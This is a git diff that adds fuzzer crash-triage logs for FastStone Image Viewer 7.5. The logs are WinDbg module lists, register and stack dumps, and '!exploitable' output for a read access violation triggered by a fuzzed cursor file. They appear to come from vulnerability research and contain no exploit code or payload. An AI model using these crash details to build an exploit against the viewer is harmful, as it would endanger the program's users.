C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(3c8.1a38): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07ea7b10 edx=00003879 esi=12768f40 edi=0f6d4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.14604e+008 -1.06635e-028 -4.15529e+007 -0.000126988 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d8000 a24c799b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8a9619c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/35877/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..997f27d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5b057fa --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D74: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D74: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d74.1a54): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07f47b10 edx=00003879 esi=fce30010 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.60997e-027 -9.84549e+021 178.868 -2.99452e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0029f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0029f000 a6c6d3fa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0029f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5b057fa --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/38066/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D74: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D74: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 